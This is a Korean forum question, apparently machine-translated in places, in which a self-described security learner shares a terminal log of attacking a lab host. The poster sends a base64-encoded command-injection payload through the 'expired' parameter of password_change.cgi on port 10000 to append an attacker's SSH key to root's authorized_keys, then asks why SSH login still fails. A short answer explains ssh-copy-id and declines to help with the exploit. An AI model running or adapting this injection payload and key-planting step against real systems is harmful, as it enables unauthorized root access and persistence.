사이버 보안을 처음 접하시는 분은 저와 함께 해주세요. 학습 상황이고 앞으로 나아가기 위해 최선을 다하고 있습니다. 페이로드 등을 준비하고 코딩해야 합니다. 저는 이 4단계를 수행했습니다.
공개/개인 RSA 키 쌍을 생성한 후 비밀번호를 입력한 후에도 여전히 SSH를 통해 서버에 액세스할 수 없는 이유는 무엇입니까? -[이메일 보호됨]:권한 거부됨(공개 키, 비밀번호) 요청한 생성된 키를 입력했지만 운이 없었고 foobar1도 작동하지 않았으며 (공개 키와 비밀번호)의 조합도 작동하지 않았습니다. 나는 이것을 시도했습니다. ssh-copy-id -i ~/.ssh/id_rsa[이메일 보호됨](작동하지 않음, 계속 비밀번호를 요구함) 맨 아래 마지막 부분이 헷갈리네요! 어떻게 써야 할까요? 누구든지 문제를 해결하기 위해 명확성/지침을 제공할 수 있습니까? 다음과 같이 터미널에서 전체 단계별 프로세스를 제공했습니다.
root@kali:~# ssh-keygen -t rsa
Generating public/private rsa key pair.
Enter file in which to save the key (/root/.ssh/id_rsa): /root/.ssh/id_rsa
/root/.ssh/id_rsa already exists.
Overwrite (y/n)? y
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in /root/.ssh/id_rsa
Your public key has been saved in /root/.ssh/id_rsa.pub
The key fingerprint is:
SHA256:Hp6lH+aI8JAlpRWQ1b8DGzxWOwbu6YGq6znjzP6sDKs root@kali
The key's randomart image is:
+---[RSA 3072]----+
| .+o. |
| . .o . |
| oo + . |
| + B = |
| o .+SB.o |
| +.o==o |
|. +. .=.o. |
| *oo.+ ..= . |
|E+%Bo o . o |
+----[SHA256]-----+
root@kali:~# echo -n '$COMMAND' | base64 -w 0
JENPTU1BTkQ=root@kali:~# PAYLOAD="echo%20$(echo "JENPTU1BTkQ=" | base64 -d)|sh"
root@kali:~# PAYLOAD=$(echo $PAYLOAD | sed 's/%/%25/g; s/ /%20/g; s/|/%7C/g')
root@kali:~# PAYLOAD="echo%20JENPTU1BTkQ=%3D%7Cbase64%20-d%7Csh"
root@kali:~# curl -ks "http://192.168.6.2:10000/password_change.cgi" -d user=root&pam=&expired=2;
PAYLOAD="echo%20JENPTU1BTkQ=%3D%7Cbase64%20-d%7Csh"&old=foobar&new1=foobar1&new2=foobar1
[1] 1922
[2] 1923
[3] 1924
[4] 1925
[5] 1926
[1] Done curl -ks "http://192.168.6.2:10000/password_change.cgi" -d user=root
[2] Done pam=
[3] Done PAYLOAD="echo%20Q09NTUFORA==%3D%7Cbase64%20-d%7Csh"
[4]- Done old=foobar
[5]+ Done new1=foobar1
root@kali:~# ssh [email protected]
[email protected]'s password: Hp6lH+aI8JAlpRWQ1b8DGzxWOwbu6YGq6znjzP6sDKs
Permission denied, please try again.
[email protected]: Permission denied (publickey,password).
(attempted to copy key to target server)
root@kali:~# ssh-copy-id [email protected]
/usr/bin/ssh-copy-id: INFO: Source of key(s) to be installed: "/root/.ssh/id_rsa.pub"
/usr/bin/ssh-copy-id: INFO: attempting to log in with the new key(s), to filter out any that are already installed
/usr/bin/ssh-copy-id: INFO: 1 key(s) remain to be installed -- if you are prompted now it is to install the new keys
[email protected]'s password: foobar1
Permission denied, please try again.
다음 명령을 실행하여 웹 서비스를 활용하고 SSH 키를 추가하세요.
SSH 키를 추가하기 위해 대상 서버에서 실행할 명령을 준비합니다. COMMAND="echo '$(cat ~/.ssh/id_rsa.pub)' >> /root/.ssh/authorized_keys" (완료) payload PAYLOAD="echo%20$(echo "$COMMAND" | base64 -w 0)|base64%20-d|sh" (완료) RCE 취약점 악용 및 페이로드 실행(매우 혼란스럽고 일부 부분이 불필요해 보임) - 쉘 시도 백그라운드에서 몇 가지 작업을 실행합니다(대부분 서브셸에서 변수를 특정 값으로 설정한 다음 해당 변수와 값이 손실된 상태로 종료). cur -ks "http://192.168.6.2: 10000/password_change.cgi" - d "user=root&pam=&expired=2;$PAYLOAD&old=foobar&new1=foobar1&new2=foobar1" -H "추천 소스:http://192.168.6.2:10000"
답변1
ssh-copy-id
~/.ssh/authorized_keys
SSH를 사용하여 대상 시스템의 대상 사용자 계정에 대한 파일 에 공개 키를 복사합니다 .
이를 위해서는SSH를 통해 대상 시스템의 대상 사용자 계정에 로그인하는 방법을 제공해야 합니다..
이는 비밀번호를 입력해야 한다는 의미입니다.한 번연결을 허용하면 SSH 키만 사용하여 로그인할 수 있습니다.
귀하가 실제 질문의 범위를 훨씬 넘어서는 시스템에 대한 루트 액세스 권한을 얻기 위해 일종의 지정되지 않은 http 취약점을 사용하려는 것처럼 보이기 때문에 나머지 횡설수설을 잘라냈습니다.